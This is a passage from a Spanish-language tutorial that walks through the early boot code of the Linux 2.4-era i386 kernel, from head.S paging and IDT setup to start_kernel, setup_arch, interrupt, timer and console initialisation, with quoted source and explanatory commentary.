*/

startup_32:
/*
* Set segments to known values
*/

cld
movl $(__KERNEL_DS),%eax
movl %eax,%ds
movl %eax,%es
movl %eax,%fs
movl %eax,%gs
#ifdef CONFIG_SMP
orw %bx,%bx
jz 1f

/*
* New page tables may be in 4Mbyte page mode and may
* be using the global pages.
*
* NOTE! If we are on a 486 we may have no cr4 at all!
* So we do not try to touch it unless we really have
* some bits in it to set. This won't work if the BSP
* implements cr4 but this AP does not -- very unlikely
* but be warned! The same applies to the pse feature
* if not equally supported. --macro
*
* NOTE! We have to correct for the fact that we're
* not yet offset PAGE_OFFSET..
*/

#define cr4_bits mmu_cr4_features-__PAGE_OFFSET
cmpl $0,cr4_bits
je 3f
movl %cr4,%eax # Turn on paging options (PSE,PAE,..)
orl cr4_bits,%eax
movl %eax,%cr4
jmp 3f
1:
#endif

/*
* Initialize page tables
*/

movl $pg0-__PAGE_OFFSET,%edi /* initialize page tables */
movl $007,%eax /* "007" doesn't mean with right to kill, but
PRESENT+RW+USER */

2: stosl
add $0x1000,%eax
cmp $empty_zero_page-__PAGE_OFFSET,%edi
jne 2b

Preparamos las tablas de paginacion de memoria.

/*
* Enable paging
*/

3:
movl $swapper_pg_dir-__PAGE_OFFSET,%eax
movl %eax,%cr3 /* set the page table pointer.. */
movl %cr0,%eax
orl $0x80000000,%eax
movl %eax,%cr0 /* ..and set paging (PG) bit */
jmp 1f /* flush the prefetch-queue */
1:
movl $1f,%eax
jmp *%eax /* make sure eip is relocated */
1:
/* Set up the stack pointer */
lss stack_start,%esp

Activamos la paginacion de memoria.

#ifdef CONFIG_SMP
orw %bx,%bx
jz 1f /* Initial CPU cleans BSS */
pushl $0
popfl
jmp checkCPUtype
1:
#endif CONFIG_SMP

/*
* Clear BSS first so that there are no surprises...
* No need to cld as DF is already clear from cld above...
*/

xorl %eax,%eax
movl $ SYMBOL_NAME(__bss_start),%edi
movl $ SYMBOL_NAME(_end),%ecx
subl %edi,%ecx
rep
stosb

Ponemos BSS a cero.

/*
* start system 32-bit setup. We need to re-do some of the things done
* in 16-bit mode for the "real" operations.
*/

call setup_idt

Vamos a ver setup_idt

/*
* setup_idt
*
* sets up a idt with 256 entries pointing to
* ignore_int, interrupt gates. It doesn't actually load
* idt - that can be done only after paging has been enabled
* and the kernel moved to PAGE_OFFSET. Interrupts
* are enabled elsewhere, when we can be relatively
* sure everything is ok.
*/

setup_idt:
lea ignore_int,%edx
movl $(__KERNEL_CS << 16),%eax
movw %dx,%ax /* selector = 0x0010 = cs */
movw $0x8E00,%dx /* interrupt gate - dpl=0, present */

lea SYMBOL_NAME(idt_table),%edi
mov $256,%ecx
rp_sidt:
movl %eax,(%edi)
movl %edx,4(%edi)
addl $8,%edi
dec %ecx
jne rp_sidt
ret

ENTRY(stack_start)
.long SYMBOL_NAME(init_task_union)+8192
.long __KERNEL_DS

/* This is the default interrupt "handler" :-) */
int_msg:
.asciz "Unknown interrupt\n"
ALIGN
ignore_int:
cld
pushl %eax
pushl %ecx
pushl %edx
pushl %es
pushl %ds
movl $(__KERNEL_DS),%eax
movl %eax,%ds
movl %eax,%es
pushl $int_msg
call SYMBOL_NAME(printk)
popl %eax
popl %ds
popl %es
popl %edx
popl %ecx
popl %eax
iret

Creamos una tabla de interrupciones nula, apuntando a ignore_int todas las
interrupciones. Imprimimos "Unknown interrupt" en ignore_int usando el printk
del kernel.

/*
* Initialize eflags. Some BIOS's leave bits like NT set. This would
* confuse the debugger if this code is traced.
* XXX - best to initialize before switching to protected mode.
*/

pushl $0
popfl

Inicializa EFLAGS. Normalmente si llegamos aqui, ya se habran inicializado
anteriormente.

/*
* Copy bootup parameters out of the way. First 2kB of
* _empty_zero_page is for boot parameters, second 2kB
* is for the command line.
*
* Note: %esi still has the pointer to the real-mode data.
*/

movl $ SYMBOL_NAME(empty_zero_page),%edi
movl $512,%ecx
cld
rep
movsl
xorl %eax,%eax
movl $512,%ecx
rep
stosl
movl SYMBOL_NAME(empty_zero_page)+NEW_CL_POINTER,%esi
andl %esi,%esi
jnz 2f # New command line protocol
cmpw $(OLD_CL_MAGIC),OLD_CL_MAGIC_ADDR
jne 1f
movzwl OLD_CL_OFFSET,%esi
addl $(OLD_CL_BASE_ADDR),%esi
2:
movl $ SYMBOL_NAME(empty_zero_page)+2048,%edi
movl $512,%ecx
rep
movsl
1:

Con esto copiamos la linea de parametros que nos ha pasado el hestor de arranque
(LILO o SYSLINUX, por ejemplo. El bootsect.S no tiene esas virguerias, aunque
hay un parche por ahi que mejora el bootsect) en la pagina de memoria 0, que
no se usa y queda libre para poner este tipo de cosas.

checkCPUtype:

movl $-1,X86_CPUID # -1 for no CPUID initially

/* check if it is 486 or 386. */
/*
* XXX - this does a lot of unnecessary setup. Alignment checks don't
* apply at our cpl of 0 and the stack ought to be aligned already, and
* we don't need to preserve eflags.
*/


movl $3,X86 # at least 386
pushfl # push EFLAGS
popl %eax # get EFLAGS
movl %eax,%ecx # save original EFLAGS
xorl $0x40000,%eax # flip AC bit in EFLAGS
pushl %eax # copy to EFLAGS
popfl # set EFLAGS
pushfl # get new EFLAGS
popl %eax # put it in eax
xorl %ecx,%eax # change in flags
andl $0x40000,%eax # check if AC bit changed
je is386

Para detectar si la cpu es 486 o no, usamos el flag AC. Este flag, introducido
en los 486, sirve para generar fallos de alineacion. En un 386, este flag no
se puede ajustar.

movl $4,X86 # at least 486
movl %ecx,%eax
xorl $0x200000,%eax # check ID flag
pushl %eax
popfl # if we are on a straight 486DX, SX, or
pushfl # 487SX we can't change it
popl %eax
xorl %ecx,%eax
pushl %ecx # restore original EFLAGS
popfl
andl $0x200000,%eax
je is486

Activamos el flag ID y miramos si se queda activado. Si no se queda activado, es
que estamos delante de un 486 viejo sin soporte CPUID. Si soporta CPUID, vamos a
usarlo.

/* get vendor info */
xorl %eax,%eax # call CPUID with 0 -> return vendor ID
cpuid
movl %eax,X86_CPUID # save CPUID level
movl %ebx,X86_VENDOR_ID # lo 4 chars
movl %edx,X86_VENDOR_ID+4 # next 4 chars
movl %ecx,X86_VENDOR_ID+8 # last 4 chars

orl %eax,%eax # do we have processor info as well?
je is486

movl $1,%eax # Use the CPUID instruction to get CPU type
cpuid
movb %al,%cl # save reg for future use
andb $0x0f,%ah # mask processor family
movb %ah,X86
andb $0xf0,%al # mask model
shrb $4,%al
movb %al,X86_MODEL
andb $0x0f,%cl # mask mask revision
movb %cl,X86_MASK
movl %edx,X86_CAPABILITY

Llegado aqui sabemos la CPU ya :).

is486:
movl %cr0,%eax # 486 or better
andl $0x80000011,%eax # Save PG,PE,ET
orl $0x50022,%eax # set AM, WP, NE and MP
jmp 2f

Si es un 386 tendremos que hacer alguna que otra comprovacion adicional. Los 386
no llevan el copro integrado. Pueden tenerlo aparte o no, y pueden tener el 287
o el mas nuevo 387.

is386: pushl %ecx # restore original EFLAGS
popfl
movl %cr0,%eax # 386
andl $0x80000011,%eax # Save PG,PE,ET
orl $2,%eax # set MP
2: movl %eax,%cr0
call check_x87
incb ready
lgdt gdt_descr

Creamos la global description table, el tamaño de esta es dependiente de la
cantidad de tareas posibles.

/*
* The interrupt descriptor table has room for 256 idt's,
* the global descriptor table is dependent on the number
* of tasks we can have..
*/

#define IDT_ENTRIES 256
#define GDT_ENTRIES (__TSS(NR_CPUS))


.globl SYMBOL_NAME(idt)
.globl SYMBOL_NAME(gdt)

ALIGN
.word 0
idt_descr:
.word IDT_ENTRIES*8-1 # idt contains 256 entries
SYMBOL_NAME(idt):
.long SYMBOL_NAME(idt_table)

.word 0

gdt_descr:
.word GDT_ENTRIES*8-1
SYMBOL_NAME(gdt):
.long SYMBOL_NAME(gdt_table)

Eso lo encontramos en asm/desc.h:

#ifndef __ARCH_DESC_H
#define __ARCH_DESC_H

#include <asm/ldt.h>

/*
* The layout of the GDT under Linux:
*
* 0 - null
* 1 - not used
* 2 - kernel code segment
* 3 - kernel data segment
* 4 - user code segment <-- new cacheline
* 5 - user data segment
* 6 - not used
* 7 - not used
* 8 - APM BIOS support <-- new cacheline
* 9 - APM BIOS support
* 10 - APM BIOS support
* 11 - APM BIOS support
*
* The TSS+LDT descriptors are spread out a bit so that every CPU
* has an exclusive cacheline for the per-CPU TSS and LDT:
*
* 12 - CPU#0 TSS <-- new cacheline
* 13 - CPU#0 LDT
* 14 - not used
* 15 - not used
* 16 - CPU#1 TSS <-- new cacheline
* 17 - CPU#1 LDT
* 18 - not used
* 19 - not used
* ... NR_CPUS per-CPU TSS+LDT's if on SMP
*
* Entry into gdt where to find first TSS.
*/

#define __FIRST_TSS_ENTRY 12
#define __FIRST_LDT_ENTRY (__FIRST_TSS_ENTRY+1)

#define __TSS(n) (((n)<<2) + __FIRST_TSS_ENTRY)
#define __LDT(n) (((n)<<2) + __FIRST_LDT_ENTRY)

Sease, TSS == (((n)<<2) + __FIRST_TSS_ENTRY) y __FIRST_TSS_ENTRY == 12

Volvamos donde estabamos...

lidt idt_descr

Ahora lo que cargamos es la tabla descriptora de interrupcionees

ljmp $(__KERNEL_CS),$1f
1: movl $(__KERNEL_DS),%eax # reload all the segment registers
movl %eax,%ds # after

  
changing gdt.
movl %eax,%es
movl %eax,%fs
movl %eax,%gs
#ifdef CONFIG_SMP
movl $(__KERNEL_DS), %eax
movl %eax,%ss # Reload the stack pointer (segment only)
#else
lss stack_start,%esp # Load processor stack
#endif
xorl %eax,%eax
lldt %ax
cld # gcc2 wants the direction flag cleared at all times

Ya estamos preparando los registros para olvidarnos del ASM y saltar al C de una
vez.

#ifdef CONFIG_SMP
movb ready, %cl
cmpb $1,%cl
je 1f # the first CPU calls start_kernel
# all other CPUs call initialize_secondary
call SYMBOL_NAME(initialize_secondary)
jmp L6

En SMP, Todas las CPUS llaman a initialize_secondary menos la primera, que salta
a start_kernel.

1:
#endif
call SYMBOL_NAME(start_kernel)

L6:
jmp L6 # main should never return here, but
# just in case, we know what happens.

Si a start_kernel o initialize_secondary les diera por retornar, entrarian en este
bucle-absurdo.

4. Arranque en C.

4.1. start_kernel() (init/main.c)

/*
* linux/init/main.c
*
* Copyright (C) 1991, 1992 Linus Torvalds
*
* GK 2/5/95 - Changed to support mounting root fs via NFS
* Added initrd & change_root: Werner Almesberger & Hans Lermen, Feb '96
* Moan early if gcc is old, avoiding bogus kernels - Paul Gortmaker, May '96
* Simplified starting of init: Michael A. Griffith <grif@acm.org>
*/


/*
* Versions of gcc older than that listed below may actually compile
* and link okay, but the end product can have subtle run time bugs.
* To avoid associated bogus bug reports, we flatly refuse to compile
* with a gcc that is known to be too old from the very beginning.
*/

#if __GNUC__ < 2 || (__GNUC__ == 2 && __GNUC_MINOR__ < 91)
#error Sorry, your GCC is too old. It builds incorrect kernels.
#endif

Con esto evitamos que el kernel se compile por error con un gcc excesivamente
antiguo que podria dar lugar a problemas posteriormente.

/*
* Activate the first processor.
*/


asmlinkage void __init start_kernel(void)

char * command_line;
unsigned long mempages;
extern char saved_command_line[];
/*
* Interrupts are still disabled. Do necessary setups, then
* enable them
*/

lock_kernel();

Creamos un lock completo del kernel para el SMP.

printk(linux_banner);

Imprimimos un poco de spam.

setup_arch(&command_line);

Esto lo encontraremos en arch/i386/kernel/setup.c.

void __init setup_arch(char **cmdline_p)
{
unsigned long bootmap_size, low_mem_size;
unsigned long start_pfn, max_pfn, max_low_pfn;
int i;

#ifdef CONFIG_VISWS
visws_get_board_type_and_rev();
#endif

ROOT_DEV = to_kdev_t(ORIG_ROOT_DEV);
drive_info = DRIVE_INFO;
screen_info = SCREEN_INFO;
apm_info.bios = APM_BIOS_INFO;
if( SYS_DESC_TABLE.length != 0 ) {
MCA_bus = SYS_DESC_TABLE.table[3] &0x2;
machine_id = SYS_DESC_TABLE.table[0];
machine_submodel_id = SYS_DESC_TABLE.table[1];
BIOS_revision = SYS_DESC_TABLE.table[2];
}
aux_device_present = AUX_DEVICE_INFO;

Recuperamos un monton de datos de la primera pagina de mem, por ejemplo,
obtenemos AUX_DEVICE_INFO de PARAM+0x1FF:

#define AUX_DEVICE_INFO (*(unsigned char *) (PARAM+0x1FF))


#ifdef CONFIG_BLK_DEV_RAM
rd_image_start = RAMDISK_FLAGS & RAMDISK_IMAGE_START_MASK;
rd_prompt = ((RAMDISK_FLAGS & RAMDISK_PROMPT_FLAG) != 0);
rd_doload = ((RAMDISK_FLAGS & RAMDISK_LOAD_FLAG) != 0);
#endif
setup_memory_region();

Esto prepara un mapa de memoria a partir del que proporcionó la BIOS (si no es
posible, se inventa uno).

if (!MOUNT_ROOT_RDONLY)
root_mountflags &= ~MS_RDONLY;
init_mm.start_code = (unsigned long) &_text;
init_mm.end_code = (unsigned long) &_etext;
init_mm.end_data = (unsigned long) &_edata;
init_mm.brk = (unsigned long) &_end;

code_resource.start = virt_to_bus(&_text);
code_resource.end = virt_to_bus(&_etext)-1;
data_resource.start = virt_to_bus(&_etext);
data_resource.end = virt_to_bus(&_edata)-1;

parse_mem_cmdline(cmdline_p);

Si hemos pasado los datos sobre la memoria en la commandline, los parseamos.

#define PFN_UP(x) (((x) + PAGE_SIZE-1) >> PAGE_SHIFT)
#define PFN_DOWN(x) ((x) >> PAGE_SHIFT)
#define PFN_PHYS(x) ((x) << PAGE_SHIFT)

/*
* 128MB for vmalloc and initrd
*/

#define VMALLOC_RESERVE (unsigned long)(128 << 20)
#define MAXMEM (unsigned long)(-PAGE_OFFSET-VMALLOC_RESERVE)
#define MAXMEM_PFN PFN_DOWN(MAXMEM)
#define MAX_NONPAE_PFN (1 << 20)

/*
* partially used pages are not usable - thus
* we are rounding upwards:
*/

start_pfn = PFN_UP(__pa(&_end));

/*
* Find the highest page frame number we have available
*/

max_pfn = 0;
for (i = 0; i < e820.nr_map; i++) {
unsigned long start, end;
/* RAM? */
if (e820.map[i].type != E820_RAM)
continue;
start = PFN_UP(e820.map[i].addr);
end = PFN_DOWN(e820.map[i].addr + e820.map[i].size);
if (start >= end)
continue;
if (end > max_pfn)
max_pfn = end;
}

/*
* Determine low and high memory ranges:
*/

max_low_pfn = max_pfn;
if (max_low_pfn > MAXMEM_PFN) {
max_low_pfn = MAXMEM_PFN;
#ifndef CONFIG_HIGHMEM
/* Maximum memory usable is what is directly addressable */
printk(KERN_WARNING "Warning only %ldMB will be used.\n",
MAXMEM>>20);
if (max_pfn > MAX_NONPAE_PFN)
printk(KERN_WARNING "Use a PAE enabled kernel.\n");
else
printk(KERN_WARNING "Use a HIGHMEM enabled kernel.\n");
#else /* !CONFIG_HIGHMEM */
#ifndef CONFIG_X86_PAE
if (max_pfn > MAX_NONPAE_PFN) {
max_pfn = MAX_NONPAE_PFN;
printk(KERN_WARNING "Warning only 4GB will be used.\n");
printk(KERN_WARNING "Use a PAE enabled kernel.\n");
}
#endif /* !CONFIG_X86_PAE */
#endif /* !CONFIG_HIGHMEM */
}

#ifdef CONFIG_HIGHMEM
highstart_pfn = highend_pfn = max_pfn;
if (max_pfn > MAXMEM_PFN) {
highstart_pfn = MAXMEM_PFN;
printk(KERN_NOTICE "%ldMB HIGHMEM available.\n",
pages_to_mb(highend_pfn - highstart_pfn));
}
#endif
/*
* Initialize the boot-time allocator (with low memory only):
*/

bootmap_size = init_bootmem(start_pfn, max_low_pfn);

/*
* Register fully available low RAM pages with the bootmem allocator.
*/

for (i = 0; i < e820.nr_map; i++) {
unsigned long curr_pfn, last_pfn, size;
/*
* Reserve usable low memory
*/

if (e820.map[i].type != E820_RAM)
continue;
/*
* We are rounding up the start address of usable memory:
*/

curr_pfn = PFN_UP(e820.map[i].addr);
if (curr_pfn >= max_low_pfn)
continue;
/*
* ... and at the end of the usable range downwards:
*/

last_pfn = PFN_DOWN(e820.map[i].addr + e820.map[i].size);

if (last_pfn > max_low_pfn)
last_pfn = max_low_pfn;

/*
* .. finally, did all the rounding and playing
* around just make the area go away?
*/

if (last_pfn <= curr_pfn)
continue;

size = last_pfn - curr_pfn;
free_bootmem(PFN_PHYS(curr_pfn), PFN_PHYS(size));
}
/*
* Reserve the bootmem bitmap itself as well. We do this in two
* steps (first step was init_bootmem()) because this catches
* the (very unlikely) case of us accidentally initializing the
* bootmem allocator with an invalid RAM area.
*/

reserve_bootmem(HIGH_MEMORY, (PFN_PHYS(start_pfn) +
bootmap_size + PAGE_SIZE-1) - (HIGH_MEMORY));

/*
* reserve physical page 0 - it's a special BIOS page on many boxes,
* enabling clean reboots, SMP operation, laptop functions.
*/

reserve_bootmem(0, PAGE_SIZE);

#ifdef CONFIG_SMP
/*
* But first pinch a few for the stack/trampoline stuff
* FIXME: Don't need the extra page at 4K, but need to fix
* trampoline before removing it. (see the GDT stuff)
*/

reserve_bootmem(PAGE_SIZE, PAGE_SIZE);
smp_alloc_memory(); /* AP processor realmode stacks in low memory*/
#endif

#ifdef CONFIG_X86_IO_APIC
/*
* Find and reserve possible boot-time SMP configuration:
*/

find_smp_config();
#endif
paging_init();
#ifdef CONFIG_X86_IO_APIC
/*
* get boot-time SMP configuration:
*/

if (smp_found_config)
get_smp_config();
#endif
#ifdef CONFIG_X86_LOCAL_APIC
init_apic_mappings();
#endif

#ifdef CONFIG_BLK_DEV_INITRD
if (LOADER_TYPE && INITRD_START) {
if (INITRD_START + INITRD_SIZE <= (max_low_pfn << PAGE_SHIFT)) {
reserve_bootmem(INITRD_START, INITRD_SIZE);
initrd_start =
INITRD_START ? INITRD_START + PAGE_OFFSET : 0;
initrd_end = initrd_start+INITRD_SIZE;
}
else {
printk(KERN_ERR "initrd extends beyond end of memory "
"(0x%08lx > 0x%08lx)\ndisabling initrd\n",
INITRD_START + INITRD_SIZE,
max_low_pfn << PAGE_SHIFT);
initrd_start = 0;
}
}
#endif

/*
* Request address space for all standard RAM and ROM resources
* and also for regions reported as reserved by the e820.
*/

probe_roms();
for (i = 0; i < e820.nr_map; i++) {
struct resource *res;
if (e820.map[i].addr + e820.map[i].size > 0x100000000ULL)
continue;
res = alloc_bootmem_low(sizeof(struct resource));
switch (e820.map[i].type) {
case E820_RAM: res->name = "System RAM"; break;
case E820_ACPI: res->name = "ACPI Tables"; break;
case E820_NVS: res->name = "ACPI Non-volatile Storage"; break;
default: res->name = "reserved";
}
res->start = e820.map[i].addr;
res->end = res->start + e820.map[i].size - 1;
res->flags = IORESOURCE_MEM | IORESOURCE_BUSY;
request_resource(&iomem_resource, res);
if (e820.map[i].type == E820_RAM) {
/*
* We dont't know which RAM region contains kernel data,
* so we try it repeatedly and let the resource manager
* test it.
*/

request_resource(res, &code_resource);
request_resource(res, &data_resource);
}
}
request_resource(&iomem_resource, &vram_resource);

/* request I/O space for devices used on all i[345]86 PCs */
for (i = 0; i < STANDARD_IO_RESOURCES; i++)

request_resource(&ioport_resource, standard_io_resources+i);

/* Tell the PCI layer not to allocate too close to the RAM area.. */
low_mem_size = ((max_low_pfn << PAGE_SHIFT) + 0xfffff) & ~0xfffff;
if (low_mem_size > pci_mem_start)
pci_mem_start = low_mem_size;

#ifdef CONFIG_VT
#if defined(CONFIG_VGA_CONSOLE)
conswitchp = &vga_con;
#elif defined(CONFIG_DUMMY_CONSOLE)
conswitchp = &dummy_con;
#endif
#endif
}

Bueno, llegado aqui lo que hemos hecho basicamente es hacer un mapa de memoria
nuevo partiendo de la base que nos han pasado de parametro en la commandline del
kernel o probando en setup.S.

printk("Kernel command line: %s\n", saved_command_line);

Imprime la commandline.

parse_options(command_line);

Parseamos la commandline:

/*
* This is a simple kernel command line parsing function: it parses
* the command line, and fills in the arguments/environment to init
* as appropriate. Any cmd-line option is taken to be an environment
* variable if it contains the character '='.
*
* This routine also checks for options meant for the kernel.
* These options are not given to init - they are for internal kernel use only.
*/

static void __init parse_options(char *line)
{
char *next,*quote;
int args, envs;

if (!*line)
return;
args = 0;
envs = 1; /* TERM is set to 'linux' by default */
next = line;
while ((line = next) != NULL) {
quote = strchr(line,'"');
next = strchr(line, ' ');
while (next != NULL && quote != NULL && quote < next) {
/* we found a left quote before the next blank
* now we have to find the matching right quote
*/
next = strchr(quote+1, '"
');
if (next != NULL) {
quote = strchr(next+1, '"');
next = strchr(next+1, ' ');
}
}
if (next != NULL)
*next++ = 0;
if (!strncmp(line,"
init=",5)) {
line += 5;
execute_command = line;
/* In case LILO is going to boot us with default command line,
* it prepends "
auto" before the whole cmdline which makes
* the shell think it should execute a script with such name.
* So we ignore all arguments entered _before_ init=... [MJ]
*/
args = 0;
continue;
}
if (checksetup(line))
continue;

/*
* Then check if it's an environment variable or
* an option.
*/
if (strchr(line,'=')) {
if (envs >= MAX_INIT_ENVS)
break;
envp_init[++envs] = line;
} else {
if (args >= MAX_INIT_ARGS)
break;
if (*line)
argv_init[++args] = line;
}
}
argv_init[args+1] = NULL;
envp_init[envs+1] = NULL;
}

La distribuimos entre Argumentos y ENVs. Luego init usara los argumentos i/o
init o otros procesos usaran los ENVs.

Volvamos donde estabamos...

trap_init();

Esto lo encontraremos en arch/i386/kernel/traps.c

void __init trap_init(void)
{
#ifdef CONFIG_EISA
if (isa_readl(0x0FFFD9) == 'E'+('I'<<8)+('S'<<16)+('A'<<24))
EISA_bus = 1;
#endif

set_trap_gate(0,÷_error);
set_trap_gate(1,&debug);
set_intr_gate(2,&nmi);
set_system_gate(3,&int3); /* int3-5 can be called from all */
set_system_gate(4,&overflow);
set_system_gate(5,&bounds);
set_trap_gate(6,&invalid_op);
set_trap_gate(7,&device_not_available);
set_trap_gate(8,&double_fault);
set_trap_gate(9,&coprocessor_segment_overrun);
set_trap_gate(10,&invalid_TSS);
set_trap_gate(11,&segment_not_present);
set_trap_gate(12,&stack_segment);
set_trap_gate(13,&general_protection);
set_intr_gate(14,&page_fault);
set_trap_gate(15,&spurious_interrupt_bug);
set_trap_gate(16,&coprocessor_error);
set_trap_gate(17,&alignment_check);
set_trap_gate(18,&machine_check);
set_trap_gate(19,&simd_coprocessor_error);

set_system_gate(SYSCALL_VECTOR,&system_call);

/*
* default LDT is a single-entry callgate to lcall7 for iBCS
* and a callgate to lcall27 for Solaris/x86 binaries
*/
set_call_gate(&default_ldt[0],lcall7);
set_call_gate(&default_ldt[4],lcall27);

/*
* Should be a barrier for any external CPU state.
*/
cpu_init();

#ifdef CONFIG_X86_VISWS_APIC
superio_init();
lithium_init();
cobalt_init();
#endif
}

Esto crea una especie de tabla para gestionar las excepciones de la cpu, que son
dependientes de la arquitectura.

Volvamos otra vez donde estabamos...

init_IRQ();

Esto lo encontramos en arch/i386/kernel/i8259.c:

void __init init_IRQ(void)
{
int i;

#ifndef CONFIG_X86_VISWS_APIC
init_ISA_irqs();
#else
init_VISWS_APIC_irqs();
#endif
/*
* Cover the whole vector space, no vector can escape
* us. (some of these will be overridden and become
* 'special' SMP interrupts)
*/
for (i = 0; i < NR_IRQS; i++) {
int vector = FIRST_EXTERNAL_VECTOR + i;
if (vector != SYSCALL_VECTOR)
set_intr_gate(vector, interrupt[i]);
}

#ifdef CONFIG_SMP
/*
* IRQ0 must be given a fixed assignment and initialized,
* because it's used before the IO-APIC is set up.
*/
set_intr_gate(FIRST_DEVICE_VECTOR, interrupt[0]);

/*
* The reschedule interrupt is a CPU-to-CPU reschedule-helper
* IPI, driven by wakeup.
*/
set_intr_gate(RESCHEDULE_VECTOR, reschedule_interrupt);

/* IPI for invalidation */
set_intr_gate(INVALIDATE_TLB_VECTOR, invalidate_interrupt);

/* IPI for generic function call */
set_intr_gate(CALL_FUNCTION_VECTOR, call_function_interrupt);
#endif

#ifdef CONFIG_X86_LOCAL_APIC
/* self generated IPI for local APIC timer */
set_intr_gate(LOCAL_TIMER_VECTOR, apic_timer_interrupt);

/* IPI vectors for APIC spurious and error interrupts */
set_intr_gate(SPURIOUS_APIC_VECTOR, spurious_interrupt);
set_intr_gate(ERROR_APIC_VECTOR, error_interrupt);
#endif

/*
* Set the clock to HZ Hz, we already have a valid
* vector now:
*/
outb_p(0x34,0x43); /* binary, mode 2, LSB/MSB, ch 0 */
outb_p(LATCH & 0xff , 0x40); /* LSB */
outb(LATCH >> 8 , 0x40); /* MSB */

#ifndef CONFIG_VISWS
setup_irq(2, &irq2);
#endif

/*
* External FPU? Set up irq13 if so, for
* original braindamaged IBM FERR coupling.
*/
if (boot_cpu_data.hard_math && !cpu_has_fpu)
setup_irq(13, &irq13);
}

Bueno, volvamos a init/main.c.

softirq_init();

Esto lo encontramos en kernel/softirq.c.

void __init softirq_init()
{
int i;

for (i=0; i<32; i++)
tasklet_init(bh_task_vec+i, bh_action, i);

open_softirq(TASKLET_SOFTIRQ, tasklet_action, NULL);
open_softirq(HI_SOFTIRQ, tasklet_hi_action, NULL);
}

void open_softirq(int nr, void (*action)(struct softirq_action*), void *data)
{
softirq_vec[nr].data = data;
softirq_vec[nr].action = action;
}

void tasklet_init(struct tasklet_struct *t,
void (*func)(unsigned long), unsigned long data)
{
t->next = NULL;
t->state = 0;
atomic_set(&t->count, 0);
t->func = func;
t->data = data;
}



Creamos una tabla para las softirq.

Volvamos a init/main.c

time_init();

Miremos en arch/i386/kernel/time.c.

void __init time_init(void)
{
extern int x86_udelay_tsc;

xtime.tv_sec = get_cmos_time();
xtime.tv_usec = 0;

/*
* If we have APM enabled or the CPU clock speed is variable
* (CPU stops clock on HLT or slows clock to save power)
* then the TSC timestamps may diverge by up to 1 jiffy from
* 'real time' but nothing will break.
* The most frequent case is that the CPU is "
woken" from a halt
* state by the timer interrupt itself, so we get 0 error. In the
* rare cases where a driver would "
wake" the CPU and request a
* timestamp, the maximum error is < 1 jiffy. But timestamps are
* still perfectly ordered.
* Note that the TSC counter will be reset if APM suspends
* to disk; this won't break the kernel, though, 'cuz we're
* smart. See arch/i386/kernel/apm.c.
*/
/*
* Firstly we have to do a CPU check for chips with
* a potentially buggy TSC. At this point we haven't run
* the ident/bugs checks so we must run this hook as it
* may turn off the TSC flag.
*
* NOTE: this doesnt yet handle SMP 486 machines where only
* some CPU's have a TSC. Thats never worked and nobody has
* moaned if you have the only one in the world - you fix it!
*/

dodgy_tsc();

if (cpu_has_tsc) {
unsigned long tsc_quotient = calibrate_tsc();
if (tsc_quotient) {
fast_gettimeoffset_quotient = tsc_quotient;
use_tsc = 1;
/*
* We could be more selective here I suspect
* and just enable this for the next intel chips ?
*/
x86_udelay_tsc = 1;
#ifndef do_gettimeoffset
do_gettimeoffset = do_fast_gettimeoffset;
#endif
do_get_fast_time = do_gettimeofday;

/* report CPU clock rate in Hz.
* The formula is (10^6 * 2^32) / (2^32 * 1 / (clocks/us)) =
* clock/second. Our precision is about 100 ppm.
*/
{ unsigned long eax=0, edx=1000;
__asm__("
divl %2"
:"
=a" (cpu_khz), "=d" (edx)
:"
r" (tsc_quotient),
"
0" (eax), "1" (edx));
printk("
Detected %lu.%03lu MHz processor.\n", cpu_khz / 1000, cpu_khz % 1000);
}
}
}

#ifdef CONFIG_VISWS
printk("
Starting Cobalt Timer system clock\n");

/* Set the countdown value */
co_cpu_write(CO_CPU_TIMEVAL, CO_TIME_HZ/HZ);

/* Start the timer */
co_cpu_write(CO_CPU_CTRL, co_cpu_read(CO_CPU_CTRL) | CO_CTRL_TIMERUN);

/* Enable (unmask) the timer interrupt */
co_cpu_write(CO_CPU_CTRL, co_cpu_read(CO_CPU_CTRL) & ~CO_CTRL_TIMEMASK);

/* Wire cpu IDT entry to s/w handler (and Cobalt APIC to IDT) */
setup_irq(CO_IRQ_TIMER, &irq0);
#else
setup_irq(0, &irq0);
#endif
}

Principalmente lo que hacemos es obtener la fecha y hora de la CMOS, y a
continuación obtenemos la velocidad del procesador. Aqui vemos como Linux
interpreta los registros de reloj de la CMOS:

unsigned long get_cmos_time(void)
{
unsigned int year, mon, day, hour, min, sec;
int i;

/* The Linux interpretation of the CMOS clock register contents:
* When the Update-In-Progress (UIP) flag goes from 1 to 0, the
* RTC registers show the second which has precisely just started.
* Let's hope other operating systems interpret the RTC the same way.
*/
/* read RTC exactly on falling edge of update flag */
for (i = 0 ; i < 1000000 ; i++) /* may take up to 1 second... */
if (CMOS_READ(RTC_FREQ_SELECT) & RTC_UIP)
break;
for (i = 0 ; i < 1000000 ; i++) /* must try at least 2.228 ms */
if (!(CMOS_READ(RTC_FREQ_SELECT) & RTC_UIP))
break;
do { /* Isn't this overkill ? UIP above should guarantee consistency */
sec = CMOS_READ(RTC_SECONDS);
min = CMOS_READ(RTC_MINUTES);
hour = CMOS_READ(RTC_HOURS);
day = CMOS_READ(RTC_DAY_OF_MONTH);
mon = CMOS_READ(RTC_MONTH);
year = CMOS_READ(RTC_YEAR);
} while (sec != CMOS_READ(RTC_SECONDS));
if (!(CMOS_READ(RTC_CONTROL) & RTC_DM_BINARY) || RTC_ALWAYS_BCD)
{
BCD_TO_BIN(sec);
BCD_TO_BIN(min);
BCD_TO_BIN(hour);
BCD_TO_BIN(day);
BCD_TO_BIN(mon);
BCD_TO_BIN(year);
}
if ((year += 1900) < 1970)
year += 100;
return mktime(year, mon, day, hour, min, sec);
}

Curioso, el reloj en la CMOS está en BCD (Binary Coded Decimal).

Volvemos a init.

/*
* HACK ALERT! This is early. We're enabling the console before
* we've done PCI setups etc, and console_init() must be aware of
* this. But we do want output early, in case something goes wrong.
*/
console_init();

Nos avisan que estamos activando la consola antes de inicializar el bus PCI etc,
y esto lo hemos de tener en cuenta en console_init. Pero es interesante hacerlo
asi puesto que de esta forma podemos ver la salida en caso que ocurra algo.

Lo encontraremos en linux/drivers/char/tty_io.c:

/*
* Initialize the console device. This is called *early*, so
* we can't necessarily depend on lots of kernel help here.
* Just do some early initializations, and do the complex setup
* later.
*/

void __init console_init(void)
{
/* Setup the default TTY line discipline. */
memset(ldiscs, 0, sizeof(ldiscs));
(void) tty_register_ldisc(N_TTY, &tty_ldisc_N_TTY);

/*
* Set up the standard termios. Individual tty drivers may
* deviate from this; this is used as a template.
*/
